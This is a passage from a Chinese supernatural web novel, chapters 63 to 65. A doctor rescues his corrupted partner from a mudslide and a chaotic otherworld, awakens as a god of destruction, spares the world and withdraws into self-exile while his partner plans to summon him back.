人行道的红灯已然转为绿灯,人流开始向着马路对面走去,晏绥却站在路边一动不动。 电话对面的信号并不好,陈志行嘶哑的声音时有时无。 他说:“晏医生……裴大他体内能量暴动,他堕化了!” 晏绥只觉得冷风在骨缝里狠狠地刮,艰难地从牙缝里挤出几个字:“……他在哪?” 信号不好的状况越来越严重,陈志行的声音越来越微弱:“他为了抢夺……结晶,追着邪神……冲进了混蒙界里,我也不知道……在哪……” “嘟”地一声,电话彻底失去信号。 晏绥捏紧手机,转身冲入雨中。 裴野望脖子上有炸弹,他必须在炸弹爆炸前尽快找到裴野望! 第63章 第 63 章 昨晚十一点裴野望在电话里还说在实验中, 那他事发失踪的地方绝对离A市不远。 晏绥一边在雨中奔跑着,一边疯狂地拨打着手机里存有的战员们、特处局员工或是研收中心的人的电话。 但是战员们的电话没一个能打通,特处局也只知道昨晚凌晨的时候, 裴野望点了特处局里所有备战的战员离开了,具体去了哪里他们也不知道。 最后是研收中心的危险物材料研究小组的一个研究员惊叫道:“裴大他们出事了?不可能啊, 那附近明明没有监测到任何异常……” 晏绥直接吼道:“他在哪?!” 研究员被吓了一跳, 弱弱地开口:“就在青山山脚那个青山墓园附近……” 晏绥浑身一僵。 青山墓园, 不就是他们父母所在的墓园吗? 他左右看了看, 路上根本没有出租车, 马上拂去手机屏幕上的水渍, 抖着手飞快地叫了一台网约车。 车门“嘭”地关上,车内哗哗的冷气吹得晏绥一个哆嗦。 刚刚大雨中奔跑,几乎让他胸口以下的衣服全湿了。 司机在晏绥的连声催促下, 开得飞快, 但早高峰的车流还拥堵在路上, 网约车走走停停, 艰难地朝着墓园的方向靠近。 但墓园所在毕竟人烟稀少,从交通繁忙的主城区开出来后,网约车终于能以正常车速开向墓园。 司机的车载广播里播放着A市本地电台,主持人聒噪的声音唧唧喳喳地在沉闷的车厢里回响, 冲淡了一丝冷寂。 又是一阵嘻嘻哈哈的打闹声后,广播里的主持人声音突然严肃下来。 “接下来插播一条新闻, 青山发生特大泥石流灾害,青山墓园路段被掩埋, 暂时无法确定是否有受灾人影, 请广大车主朋友及时避让或是绕行。重复一遍,青山发生特大泥石流灾害……” 晏绥只觉浑身僵冷异常, 冷得他直打哆嗦。 广播里说的,不就是裴野望和战员们他们的任务地点吗? 司机通过后视镜看来,扬声问道:“前面走不了了,客人你要掉头回去吗?” 晏绥一咬牙:“不回,继续往前开,走到不能走了再放我下来!” 雨越下越大,司机数度苦劝,然而晏绥吃了秤砣铁了心,甚至威胁司机不送他就给差评,终于逼得司机将他送到泥石流发生的不远处。 他一下车,司机马上掉头就跑,开得飞快。 晏绥根本无心理会司机,他看着眼前几乎淹没一切的泥石流,呆住了。 好在刚刚那一阵瓢泼大雨已经停了,但天空依旧是阴沉沉的青灰色,映得眼前倾泻的泥石如此可怖。 裴野望呢?战员们呢?他们在哪? 片刻后,晏绥一咬牙,不顾危险地朝着泥石流的方向跑去。 青山崩塌的山体面积很大,将整个青山墓园全都压在泥石之下。 晏绥踩在松软的泥土上,艰难地朝着青山墓园的方向跋涉。 脚下的泥土又湿又软,他几次差点跌倒,只得用力抓住了身旁的树枝才稳住身形。 抓握着树枝的左手传来一阵尖锐刺痛,他低头一看,发现掌心留下一道破皮血痕,好险伤口没有太深。 他不能在这里受伤,他还要救回裴野望。 晏绥用衣摆擦去破皮处的泥水,继续以塌了小半的青山为标志物,跌跌撞撞地前进。 然而当他抵达青山墓园的大概位置时,他却茫然了。 雨后的风凉得刺骨,吹得人身体几欲僵结。 四周入目依旧是一大片破碎泥土和倒塌树木,青山墓园那么大,他们到底在哪里? 突然,一声微弱的“喵嗷”从不远处传来。 晏绥精神一震,连忙朝着猫叫声传来的方向跑去。 果然,晏绥发现了熟悉的黑猫小咪。 它浑身脏兮兮的,正围着某处泥石乱窜,尖声嘶叫着,爪子屏幕扒拉着泥土。 “小咪——!” 这个瞬间,晏绥几乎想要感谢上苍。 他疾步跑过去,路上被横着的树枝绊了一跤,整个扑在泥里,几乎是连滚带爬地冲到黑猫身前,飞得快捞起它。 “带我去找你的主人!” 小咪也不挣扎,在晏绥怀里喵喵叫着,尖锐的爪子用力扒拉着晏绥的衣服,几乎要穿透衣服刺入他的皮肉里。 看来裴野望就是在这附近冲入混蒙界的。 晏绥深吸一口气,又缓缓吐出,将小咪换到左手,右手飞快地凝聚出银亮的手术刀,利落地划破空间。 漆黑幽邃的裂隙横贯与泥土与倒塌的植物之上,小咪当即急促地朝着拿到裂隙叫着,扭着身体想要跳入那道裂隙之中。 晏绥毫不迟疑地抬脚,迈入裂隙之中。 刚踏入裂隙,身后现实世界的一切倏然消失。 恐怖的烈风、剧毒的气体、疯狂的知识和呓语砸了晏绥一脸,他怀里的小咪惨叫一声,开始浑身痉挛颤抖。 不好,小咪只是一只普通的猫,根本抵御不住混蒙界混乱恐怖的力量侵袭。 晏绥用手术刀刺破指尖,用涌出的血飞快地在小咪脑袋上画了一个防护符文。 小咪终于缓和过来,它虚弱地扒拉着晏绥的手腕,低声喵喵直叫。 晏绥摸了摸小咪的脊背,控制躯体朝着它嗅闻的方向飞速掠去。 这个无形的混蒙界仿佛一个宇宙,很空很大。 裴野望的踪迹不知在何处,恐怖的无形能量不断侵袭擅闯而入的两个生灵。 晏绥不出意料地并不太受这些力量的影响,但小咪脑袋上的符文每隔一段时间就会被侵蚀消散。 但即便如此,小咪依旧不肯退缩,执拗地试图靠近自己主人的方向。 晏绥也不得不再次割破手指,挤出更多的血给它画防护符文,以保证小咪的安全。 但混蒙界真的太大了。 他们不知道在茫茫黑暗中漂流了多久,晏绥怀中的小咪已经虚弱地无法再叫出声,只能躺在晏绥怀里急促地喘气。 晏绥十指都已经刺破,挤到指尖发白,几乎再也挤不出更多血。 不行,这样小咪撑不到他们找到裴野望的时候,而且他也需要小咪的指引。 晏绥也曾想过将虚弱的小咪送回现实世界,但是每当他试图将小咪送走时,小咪都仿佛能感受到他的想法,马上挣扎着用力抱着他的手腕,凄厉尖叫。 如今,小咪已经越来越虚弱,甚至已经几乎没有呼吸。 晏绥佝偻着背,用力护住衣服下盖着的小咪,将它紧紧贴在心口上。 活下来,拜托,一定要活着和他一起将裴野望带回来。 他朝着小咪最后示意的方向继续前进,不知道又漂了多久,他们突然迎面撞上了一股强烈橘红色毒气飓风。 这股飓风面积太大,晏绥根本避无可避。 他虽不怕其中的毒和风刃,但却无法穿越这强大的风墙。如果他被卷入飓风之中,就不知道会被卷到哪里去了。 晏绥双眼发红,用力咬着后槽牙。 如果那颗结晶心脏还在身上,他就能强行穿越这股飓风了。 难道要先回现实世界避一避吗?可是不知道裴野望的情况怎么样了,他必须尽快…… 就在这时,一道莹绿色的光芒在晏绥眼前一闪而过。 等等,那是…… 他意识到什么,连忙抬手朝着那道莹绿色大力挥舞手臂。 那道莹绿色似乎也注意到了晏绥,凌空一个跳跃,一下落在了晏绥身前。 看着这个庞大了无数倍的浅绿色透明团子,晏绥当机立断地说:“拜托了,我们需要你的帮助,我要穿过飓风。” 透明团子抖了抖,一下涌起,拉伸躯体将晏绥连带着小咪一起“吞”进自己体内。 晏绥落在了软软弹弹的透明团子内部,它在体内形成了一个空腔,刚好将晏绥小咪容纳其中。 随后,它身形一抖,如一道绿色的闪电呼啸着朝着飓风撞去。 狂猛的橘红色飓风狠狠地刮来,透明团子圆润的身躯抖动着,将风力全都卸去,安稳地带着晏绥和小咪穿越飓风。 晏绥终于松了口气,他隔着衣服摸了摸胸口的小咪,斟酌着该怎么开口向透明团子要一根绿色丝络。 然而还没等他开口,一条粗壮的绿色丝络就自动从软弹的透明躯体里飘出来,轻轻落入晏绥鼓起的胸口上。 丝络如水一般融入衣服下小咪的身体内,小咪原本虚弱到近乎于无的生命气息瞬间旺盛了起来,一声软软的“喵”从衣服下传来。 “谢谢你……” 晏绥抱紧了小咪,心情复杂。 透明团子体内绿色丝络可是纯粹生命力的凝结体,也是它生命的凝结和体现,没想到居然就这么分了这么粗壮的一支给他们…… 小咪的爪子用力扒拉着,从他衣摆下探出一颗黑色的小脑袋左右嗅嗅,喵嗷一声继续指引方向。 透明团子的速度很快,很快带着他们靠近了一大片能量狂暴外溢的废墟之中。 无数残破的不明物体在空中漂浮着,被能量卷着往外冲撞,当它们彼此撞在一起时,一道轰然的火花便会爆开。 就连透明团子都畏惧地在废墟外围徘徊,根本不敢入内。 而晏绥只看了一眼,脸色就全白了。 漂浮着的残破物体中,有不少是裴野望身上的衣服和装备,还有破碎的锈红色的外骨骼…… 有什么黑乎乎的东西被能量一炸,呼啸朝他弹射而来。 晏绥下意识地伸手一捞,发现手里是一小块烧灼的皮带。 指尖只稍微一搓,就散成一片片焦糊的碎渣。 上面熟悉的金属扣眼熟得让人双目刺痛,这分明就是裴野望脖子上的项圈皮带。 晏绥茫然地看向废墟,裴野望脖子上的炸弹,爆炸了? 小咪用力扒拉着晏绥的手臂,喵喵喵焦急地叫着。 太多的爆裂的能量混杂,它也闻不到裴野望在哪里了。 难道他已经…… 不! 晏绥用力握紧扭曲变形的金属扣,将小咪放在透明团子体内,语气短促地说:“我去找他,拜托你照顾好小咪。” 说完,他义无反顾地撞开透明团子的躯体,朝着前方的茫茫废墟冲去。 第64章 第 64 章 废墟中能量爆裂涌动, 被炸碎的星体碎块、黑红残肢等等杂物被不停席卷、碰撞、爆炸的能量裹挟着,高速朝着四面八方弹射而去。 这个往日绝对会让晏绥兴奋不已的地方,如今只让他焦急和厌烦。 晏绥劈开弹射而来的碎裂之物, 撞开庞大的能量旋涡,一寸寸寻找着裴野望的踪迹。 然而没有。 除了碎裂的衣物和残破带血的锈红色外骨骼碎片, 什么都没有。 那枚金属扣几乎要嵌入晏绥掌心的皮肉之内, 硌得疼痛麻木。 裴野望脖子上的检测仪已经彻底炸碎, 他已经无法循着那道光芒找到他了。 他浑身颤抖着, 握住那枚金属扣抵在心口。 你在哪? 告诉我你到底在哪?! 绝望之中, 晏绥突然发现前方的废墟深处, 有一道浅淡的红光一闪而过。 他怔怔地望着那个方向,随后那道微弱的红光又闪烁了一下。 他绝对没有看错。 晏绥下意识地动了,挥舞着手术刀破开一道道狂猛的能量风暴, 急速靠近光芒闪烁的方向。 随着距离拉近, 那道红光越发明显, 还有一道苍白的光也渐渐随之亮起, 在昏黑的废墟里闪烁着。 在靠近的瞬间,晏绥便屏住了呼吸。 光芒闪烁之地,一个身体被炸穿小半,模样狰狞古怪的存在静静漂浮着。 裴野望的身躯扭曲成近乎一个锈红色的硕大球体, 沾满血的脸部怪异地嵌在球体的巨大独眼上,四肢可怖地弯折着, 无力地垂落。 那条穿着两颗结晶体的红绳就缠绕在他变形的手腕上,一红一白的光芒此起彼伏, 静静闪烁着。 爆炸的痕迹顺着锈红色球体斑驳的痕迹焦黑蜿蜒, 差点就真的炸断了裴野望的脖子。 幸好,幸好当初附着寄生的是个球体形态的东西, 才让他还能留着一口气,坚持到晏绥找到他。 太好了。 晏绥扑过去,张开双手抱住裴野望堕化而成的锈红色球体,扭身朝着来处返回。 他要带着裴野望和小咪一起回到现实世界。 …… 一道漆黑的裂隙在急诊大楼的前庭划开,晏绥一手揽着小咪,一手拉着裴野望,跌跌撞撞地从裂隙中掉出来,正正落在昨天他们跳楼时在地上砸出的深坑里。 早已接到消息,提前在急诊科待命的苏婉和徐青山目瞪口呆地看着那个炸开一个巨大豁口的锈红色球体。 晏绥:“快,准备手术室!” 苏婉回过神来,忙不迭地冲去手术室准备。 在收拾器械的时候,她心底渐渐感到一丝疑惑。 无影灯打开,照亮了手术台上几乎不成人形的裴野望时,苏婉和给裴野望贴各种电极片的徐青山对了个眼神。 以往无论是堕化的人类还是那些恐怖的不可名状,他们都会被其中的疯狂气息影响精神值。 但现在,他们一点感觉都没有。 徐青山看着监护仪上平直的线条,偷偷瞄了晏绥一眼。 其实他和苏婉都猜到了最坏的那个可能,但看晏绥专注凝望手术台上裴野望的神情,他们实在不敢开口多说。 苏婉低头盯着铁盘里的器械,已经开始搜肠刮肚地想着待会要如何安慰人了。 与此同时,收到消息的各个领导、负伤的战员们、甚至于研收中心的研究员们渐渐赶到急诊大楼。 这栋大楼自从封禁后从未如此热闹,如今大家纷纷围聚在亮着灯的手术室门前,神色各异,却都默然等待着。 麻醉注入裴野望瘫软无力的身躯,晏绥拿来一把小小的,将裴野望身上锈红色的的外壳一点点敲掉。 无数如同岩石一般的外壳掉落一地,腥红色的铁水状液体顿时倾泻而出。 如此一边放掉液体一边敲碎外壳,手术台上渐渐露出裴野望快要与岩石融为一体的身躯。 晏绥指尖试探性地按了按裴野望僵硬如石的皮肉,眼眸光芒流转,迅速发现了病灶所在。 虽然裴野望如今看似是全无气息的死人,但在他胸腔里,有什么在翻搅,对撞,殊死搏斗。 银亮的手术刀自晏绥的右手凝结而出,利落地朝着他的胸口落下。 然而锋利的刀锋刚一落在皮肉上,一股强劲的力量赫然从裴野望的胸口弹射而出,将晏绥的手术刀弹开。 只见一道黄色光芒从他的胸口透出,又被一道猩红光芒纠缠着重新隐没在胸口之下。 与此同时,层层猩红色的外壳重新自裴野望身躯上生长出来,重新将他包裹起来。 晏绥几乎是瞬间就明白过来。 裴野望在拒绝任何力量的侵入,他在用体内的所有力量,甚至主动加深了堕化的程度,来全力绞杀那道黄色光芒之物。 晏绥脸色发白。 这就是你的办法吗? 不,我不允许,也不接受! 晏绥深吸一口气,绷着脸重新将所有猩红色外壳敲碎,手术刀压在裴野望的胸口的伤疤处,用力划下。 抗拒的力量爆发而出,然而晏绥握紧了左手上两颗发光的结晶体,滚滚的力量涌流而入,让他生生压下手术刀,利落地划开了裴野望的胸口。 胸腔被三下五除二地打开,露出其内一颗被包裹在小型的锈红色半透明球体里的透明结晶。 这颗通体黄色的结晶外形酷似层层盘绕的小肠,如今它正闪烁着剧烈的黄色光芒,不断冲撞着包裹着它的半透明球体。 必须要先把那个结晶小肠剖出来,停止裴野望体内这两种力量的相冲,才能救回他。 晏绥仔细看着那颗包裹着结晶小肠的锈红色半透明球体,眼眸里光华流转,又用手术刀试探了几下,额间渐渐渗出一丝冷汗。 不行,不行! 如今裴野望和这颗半透明球体之间的链接太深了,两者几乎就要融为一体,如果将这颗球体生剖出来,裴野望必死无疑。 难道要破开这颗球体? 可这附着在裴野望身体里的球体也不知道究竟是什么级别的力量和存在,晏绥的手术刀在它面前也得碰壁。 现在只能和它中心里那颗结晶小肠相呼应,通力合作,才有可能破开这颗锈红色的半透明球体。 没有时间犹豫了! 晏绥眸光一厉,手术刀虚虚点在半透明球体上方,开始利用手里的另外两颗结晶体和这颗结晶小肠共振,彼此呼应着,强行朝着晏绥观测出的薄弱点开始突破。 艳红和冷白的光芒在手术刀锋上交错闪烁着,合着球体内的黄色光芒一同闪烁、震动,激烈地朝着那处薄弱点攻击。 那颗半透明球体仿佛察觉到了敌情,猩红色的光芒不断流转,顽强抵御着红白黄三色的夹击。 晏绥眼眸冷厉,拼尽全力将手术刀往下一压。 给我破! “咔啦”一声脆响,一道细小的裂缝横贯于球体之上,被困于其中的结晶小肠终于找到了一丝空隙,整个化为一道黄色光芒倏地从裂缝中闪出,飞旋于手术台上空。 连在裴野望身上的监测仪纷纷鸣响了起来,他恢复呼吸和心跳了! 他原本僵冷如石的身躯也渐渐柔软了下来,泛红的皮肤也渐渐透出一丝正常的色泽。 而晏绥串在手腕上的两颗结晶也化光而出,结晶心脏、结晶大脑、结晶小肠彼此静静地盘旋飞舞,光芒一明一灭之间,不断交相呼应。 苏婉根本来不及反应,便两眼一翻,和徐青山一同软倒在地。 难以言喻的恐怖气息缓缓从手术室内向外溢出,所有设在手术室外的监测仪器,乃至全国、全世界的仪器都开始剧烈地闪烁起红光。 有研究员惊叫道:“这个共振频率……遭了,三份身体齐聚了!” 几个领导挤在电脑前看着监控,脸色难看。 余局抓着脑袋上的头发,声音难掩惊恐:“条件已经达成了,他要苏醒了!你们疯了吗?不阻止他吗?!” “闭嘴!他在救人!”邱局起身喝道。 余局恨恨地瞪了邱局一眼,看向这里唯一能做决定的庞局:“庞局,如今生死就在您的一念之间了啊!” 庞局盯着电脑屏幕,神色变幻不定。 手术室里的晏绥却顾不上其他,他无视了那三颗不断在召唤他的结晶,目光紧紧锁定在裴野望胸腔里的那颗半透明球体上,刚刚放下的心猛地又提了起来。 那颗被破开一道裂隙的半透明球体古怪地涌动着,随后那道裂缝倏然张开,一颗黑白分明的眼珠子在裂缝里咕噜噜地转动着,然后猛地凝在晏绥身上。 可怖的气息降临,诡异古怪的音律随之飘荡而出,在手术室里所有人耳边回荡。 晏绥眼眸睁大。 这颗球体,醒了。 一层层猩红色的光芒在球体上不断闪烁,裴野望的各项生命体征又开始降低,强健的身躯在这股光芒里也逐渐变得干瘪瘦弱。 而与之相反的,则是球体在不断变大。 祂在吞噬裴野望的生命力来苏醒! 在给了本该死去的渺小人类二十六年的生命后,如今这颗球体要用这个人类的生命和身躯反哺自身,重新苏醒现世。 这是属于神祇的法则之上的更深链接,晏绥无法打破。 除非……其中一方消失。 晏绥用力闭了闭干涩通红的眼珠,抬头看向了在无影灯下盘旋飞舞的三颗结晶体。 这三颗结晶在他琥珀色的瞳孔里打下红、白、黄色的光,迷离惑人。 在这个瞬间,他看到了无数的画面在脑海中翻涌,看着自己在血腥恐怖的副本世界里趟过一条血路,在登顶即将回到现世之时,发现自身真相的他用手术刀剖开了自己的身体,将自己一分为三,以换取自己、换取其他还在副本世界里苦苦挣扎的人的一线生机。 至此,神躯分散,手术刀破碎,晏绥得以用普通人的身躯重回现实世界。 回来了,所有的记忆都回来了。 他的眼里渐渐覆上水光,拳头捏得死紧。 是不是成为灭世的主宰,他就可以将这颗球体彻底吞噬,以此换回裴野望的生命? 从监控里发现晏绥的意图,庞局一下跳起,怒吼道:“快阻止他!” 得到命令的战员们马上开始冲撞手术室大门,然而无论他们怎么攻击,都无法轰破手术室门。 “妈妈!” 小七尖声叫着,扑到门上,无数彩光线条曲折变幻,随即战员们发现一个俊美邪异的男人出现,冷着脸攻击大门。 然而手术室大门依久岿然不动。 浓紫色的雾气在手术门上不停涌动着,那熟悉的尖笑又开始在急诊科凌空而响,得意又嚣张。 深浓雾气中的巨大存在太高兴了,简直要兴奋地手舞足蹈。 任你再多变数,任你是“眼睛”又如何,还不是被我利用,让主宰照样按着我的剧本再一次复苏吗?! 祂将为主宰奉上一场比起以往更为盛大,且更为喧嚣的毁灭戏剧! “一定要阻止他——!” 庞局凄厉的声音被隔绝在手术室外。 如今什么东西都无法传递入内,巨大存在不允许任何人、任何事物干扰到祂的主宰的伟大选择。 一红一白一黄三颗结晶凌空旋转着,属于晏绥的三份身体在不渐歇地吸引着他,仿佛亘古存在的召唤,等待着他的选择。 晏绥眼眸颤抖着,一滴眼泪从通红的眼眶里滑落,他终是毅然决然地伸出手碰触那三颗结晶器官。 他终是重新取回了被自己丢弃的身体。 刺目的白光自手术室向外传递,轰轰烈烈地覆盖了整个地球,并向外扩散。 整个宇宙、整个混蒙界,在这一瞬间都彻底被白光覆没,毁灭的重压无差别地轰轰碾过所有存在。 像是过了无穷久的时间,又像是仅仅过了一瞬,白光倏地收回、隐没。 等第一个人一个激灵回过神来的时候,肌肉下意识地绷紧,扣动了扳机。 特制的手持炮“轰”地砸在手术室绿色的大门上,赫然炸开了一个大洞。 当战员们冲入手术室里时,就见到苏婉和徐青山扶着脑袋和骷髅头,艰难地从地上爬起来。 非常奇异的是,明明他们是距离最近,直面毁灭主宰整个复苏过程的人,但他们检测仪上的精神值居然都很健康。 据他们所说,在精神即将崩溃的时候,他们听到了华美绝妙的乐声,于是很快就镇静了下来。 手术台上的裴野望也已经恢复了正常的样貌,他神色宁静,呼吸绵长,赤裸的身体上盖了一张被子,胸口愈合得像是从未被剖开,监护仪上的各项生命体征简直不要太健康。 但是手术室里的晏绥消失了。 现场只有他散落着的随身衣物、鞋子、口罩和炸成碎块的手表检测仪,整个人像是人间蒸发一样不见踪影。 无人知道他去了哪里。 余局站在手术室里,不可置信地呢喃:“毁灭的主宰不是诞生了吗?为什么……我们都还活着?” 无人知道答案。 但唯一可以确定的是,他们似乎真的摆脱了那个灭世的预言,世界和生命得以在此间继续存在。 第65章 【正文完】 第65章 【正文完】 恍惚之中, 裴野望只觉得自己仿佛重回了那年七岁之时。 周围炽烈的火焰灼灼燃烧,烧得他全身烫得快要融化。 滚烫的呼吸中,焦糊的味道、呛鼻的烟和血的味道充斥鼻腔, 已经分不清究竟是来源于他还是来源于压在身上的父母尸体。 他们拼命为他挡下了最致命的爆炸冲击波,但与此同时, 他的胸口也被一块爆炸碎裂的铁片刺穿, 鲜血不受控制地大量流溢。 他趴在地上虚弱得动弹不得, 在焦热的空气中渐渐感觉到了身体在发冷。 他……就要死了吗? 这时, 天空中有什么降下来, 一颗古怪的, 半透明锈红色球体无声无息地出现在他面前。 一道裂隙横贯球体,裂开扩大,像是一只可怖的、血红的“眼”睁开了, 凝望着他。 突兀地, 裴野望突然理解了祂的意思。 ——想要活下来吗?代价就是你未来的生命。 ……未来的生命? 他当然愿意! 只要能活下去…… 小小的裴野望极力伸出手臂, 握住了那颗锈红色的球体。 他勉力收回沾满鲜血的手, 就要按照祂的指示放入自己被刺穿的胸口。 突然,一只苍白的手伸来,用力猛地握住了他的手臂。 小裴野望诧异地抬头,瞬间被震惊到失语。 一个身披红色纹路的半透明白纱, 看不清面貌的青年半蹲在他身前,握着他的手臂, 静静地看着他。 他看着祂伸出不似人类的苍白手指,将他手掌里那颗半透明的锈红色球体轻轻拿走。 小裴野望愣愣地望着那颗被拿走的球体。 那颗球体里不知何时已经生出了一颗黑白分明的眼球, 祂又闭上了“眼”, 静静地躺在青年的掌心。 不知为何,他总觉得, 那颗球体心甘情愿被拿走,甚至是带着一丝满足地被青年吞入口中。 在他犹自茫然无措的时候,青年放下了他的手臂,然后捧起他的脸,轻轻在他的额头落下一吻。 轻如柔云的触感一触即离,仿若虚幻的梦。 小裴野望回过神来时,青年已经转身离开。 他没由来地感到一阵强烈的心慌,他下意识地极力伸出手,然而那柔软的红纹白纱轻柔地掠过他的指缝,却滑溜地根本抓不住。 不……别走,别走! 不要走——! 裴野望赫然睁开双眼,一下弹坐起来。 靠在一旁打瞌睡的陈志行被吓得同样弹起来,在床边手足无措地转了几圈,小心问道:“裴大,你还好吗?” 裴野望低头摸了摸胸口,多年锻炼的身体依旧强健有力,但里面附着的那颗球体和被他强行嵌入身体绞杀的结晶小肠都不见了。 他抬起头,嗓音沙哑地开口问道:“……晏绥呢?” 陈志行脸色发白,数度张口,才勉强凑出一句话:“晏,晏医生他,消失了。” 其实他们都有一个猜想,既然毁灭的主宰没有毁灭世界,那他是不是把自己给毁灭了…… 裴野望黑沉沉的目光定定地看着陈志行,几乎要洞穿了他,将他的所思所想都看得一清二楚。 片刻后,他沉声说:“他还活着。” 陈志行一愣:“什么?” 裴野望低头看着自己的右手,低声说:“他还活着,我很确定。” “这怎么可能?那为什么世界还好好的?”陈志行不可置信地反问。 裴野望想到梦中所见披着白纱的青年,握紧了拳头,心痛得难以呼吸。 还能为什么?因为晏绥选择了自我放逐,彻底与现实世界隔绝啊! …… 朦胧混沌的灰蒙雾气如常涌动着,高耸入云的黑色长柱交汇之处,所有立柱彼此拱立着,形成了一个通天彻地的古怪王座。 身披白纱,肤色苍白如玉的青年静静地倚坐在王座上,撑着额头闭目不言。 巨大的黑影自浓雾后显现,祂黑红色的、外附层层骨刺或是鳞甲的庞大身躯恭敬地匍匐在地,轻柔的声音层层叠叠地在这片浓雾中回荡。 “我至高无上的主宰,您是此间唯一的神王,您本可以向着世界施展您所有的威能,为何您沉默至今,甚至自我封闭至此?” 说着,祂直起身,一双眼恭敬崇敬地注视着祂的主宰,挥舞着粗壮的黑红色肢体继续说:“虽然本次轮回剧目不慎出现了一点点的、小小的意外,但此间的剧目也在我的力挽狂澜下成功落幕!待一切回归原点,我愿尽其所能,指挥一出更为完美,更为刺激的轮回戏剧……” 见主宰始终不言不语,祂起身张开黑红色的肢体,赫然朝着浓雾的上方挥舞利爪。 浓郁到凝成实质的深紫色异化污染力量划破灰朦的浓雾,呼啸朝着上方一个蓝绿色的球体挥去。 然而那道足以毁灭一颗星球的刀刃在即将冲破浓雾之时,就被一道亮白色的光网拦截,反弹而回,重重地打在黑红存在身上。 这种力量本就是自祂生发出的力量,当然无法对作为力量本源的祂产生任何伤害,但祂还是被冲击力打得连连后退。 祂捂着胸口,不可置信地看向主宰,哀叫道:“我至高无上的主宰,您为何要阻止我?” “闭嘴。” 晏绥终于睁开眼,灿烂的金红色光芒泄出,两轮金红色发光球体如煌煌大日,照亮了整片灰朦空间,令人难以直视,甚至连黑红存在也不得不退避。 金红色的光芒渐歇,内收凝聚,形成了晏绥一双金红色的瞳孔。 祂注视着这个童年的“玩伴”,侍奉灭世主宰的疯狂侍从,自祂身体中生出的毁灭信使。 “已经够了,小黑。” 主宰缓缓起身,抬手一拂,无数灰雾散开,露出上空的漫天星辰。 无数相似的蓝绿色星球整齐地排列在空中,以各种方式彻底破碎崩毁,它们色泽灰败,毫无生机,随时可能散成虚无的烟尘。 唯有排在最末的一颗蓝绿色星球还反射出健康明亮的光,生命的气息在上面盘旋萦绕,生生不息。 祂静静凝望着那颗星球,孑然而立,不言不语,满身孤寂。 “小黑”不安地注视着主宰的背影,恨得快要发疯。 祂已经越来越无法感应和影响到主宰的意志和思绪,不明白为什么主宰还保持着这幅脆弱人类的样貌。 是不是因为那颗“眼睛”! 祂明明将那颗“眼睛”多次碾碎,多次驱逐,没想到还是被祂钻了空子,落到了主宰轮回的戏剧里。 虽然如今主宰成功苏醒,但那颗被主宰吞入体内的“眼睛”依旧令祂非常不安,就像是悬在祂头上的一颗不定时炸弹,不知何时就要彻底引爆。 祂不愿就此坐以待毙,再次轻缓地开口:“我至高无上的主宰,我已经准备好开展下一次的轮回戏剧了,您做好准备了吗?需要我为您取出那颗令人厌恶痛苦的‘眼睛’吗?” “没有意义了。” 主宰摇头轻笑,抬手轻轻按在胸口,低声说:“我说为什么知道我救不了弥霍斯,原来我的心里也有一个空洞,而我现在才真正的‘看见’它。” “真的是……好疼好空啊……” “小黑”一急,马上扑上前:“我马上为您取出‘眼睛’!” 然而一股劲风骤然袭来,将“小黑”整个吹远,不让祂靠近主宰。 主宰依旧捂着胸口,祂抬手凝聚出那颗虚幻的锈红色眼球,自言自语道:“可若看不见这个空洞,我又要怎么填补它呢?只能如弥霍斯一般无尽地外求,强迫地不断重复,终究什么都得不到。” “小黑”趴在地面上,焦急又恐惧,嘶声叫嚷:“您到底在求什么?作为世界的主宰,如此多的轮回都为您而生,为何您始终不曾展颜?” “明明在这里,您才可以彻底放纵天性,无忧无虑地做最真实的自己!” 晏绥瞥视过去,淡声说:“因为你只是我所有负面情绪的化身,但你不是我,我也不是你。别用你的思维来揣摩我。” “我”是谁? “我”就是我,完完整整,能知能觉的我。 主宰在王座上盘腿坐下,双手捧着那颗“眼睛”。 祂浑身散发出了金红的光,穿透了所有灰朦的迷雾。 “小黑”仿佛被在这一片金红的光芒穿刺,祂痛苦地惨叫翻滚着,利爪抓挠着地面,咆哮道:“我至高无上的主宰,您要抛弃最为忠诚的我吗?您要抛弃为您抵御悲伤和痛苦的我吗?” “如果没有我,以后还有谁能来保护你——!” “谢谢你,小黑。” 主宰静静地凝望着“小黑”,平静和缓地说:“谢谢你曾经保护了我,但我现在不需要了,我可以有更好的方法保护自己。” “小黑”呆呆地看着祂的主宰,这才发现穿透身体的金红光芒并不疼痛,相反,还非常的温暖,非常平和。 祂痴痴地望着祂的主宰,终是流着泪再次匍匐在地,不再言语。 主宰闭上了眼,静静盘坐。 就这样吧,让一切毁灭和轮回的恶果在此终结。 …… A市人民医院的急诊大楼正式被废弃,和其他许多曾经陷入副本化的区域一样被圈起,作为拆迁重建计划中的待拆地点之一。 裴野望到达急诊大楼时,陈志行还在犹豫着试图开口:“裴大,您真的不回特处局了?” 裴野望自那次醒来后,便发现自己在和那颗半透明锈红色球体多年同化后,身上居然依旧保留有部分球体本身的特性。 他诡异地没了任何堕化的可能和危险,精神值稳固得可怕,力量也保留了大半,甚至还有了小幅度地稳固身边人精神值的被动能力。 如今无论是特处局、战员大队,还是研收中心,都非常眼馋他。 “说了多少次了,不用叫我裴大,我已经不是大队长了。”裴野望大长腿迈的步子很大,陈志行必须小跑着才能跟上。 他嗓音带笑,慢悠悠地说:“特处局战员的要求之一就是无信仰。很不幸,现在我有了。” 陈志行一愣,心里生出一丝略带荒谬的预感:“什么?” 裴野望不理他,径直上前推开贴了封条的玻璃门,猛地撞上半蹲在地上手忙脚乱收拾东西的苏婉。 “啊……原来是裴大啊。” 苏婉讪讪一笑,抱着怀里一大堆食物、香烛、纸钱,甚至还有一块牌位。 她用力将那块牌位用力塞进袋子里,尴尬地试图转移话题:“那个,裴大来出任务吗?我,我马上走。” “……” 裴野望无语片刻,扶额说:“他没死,不用给他上牌位烧香烧纸。” “真的吗?他还活着?” 苏婉像个仓鼠一样抱着大塑料袋,飞快地眨了眨眼睛,努力将眼里的水意眨掉。 她偏着头,掩饰般的嘟囔道:“毕竟我说过谁能让我辞职,我给他磕十个响头……还有徐青山那个家伙,现在出不来了,非要我连带供上他的份……” 抱着塑料袋的手不由收紧,苏婉低声说:“磕头做不到了,给他上供点东西总还是可以的吧……” 陈志行抓了抓脑袋,也不知道说她什么好。 裴野望笑了笑,说:“我们也可以换个方式。你对这栋大楼比我熟,能帮我把这栋大楼里晏绥常用的东西都收集起来吗?” 苏婉和陈志行同时茫然:“啊?” 裴野望这是想要睹物思人? 裴野望抬头望了望墙壁上消失一空的急诊科守则,平静又笃定地说:“我们来将他召唤回来。” “啊?!!” 苏婉和陈志行眼睛都快瞪脱眶了。 裴野望:“帮个忙,苏护士,就当是还上这十个响头了。” 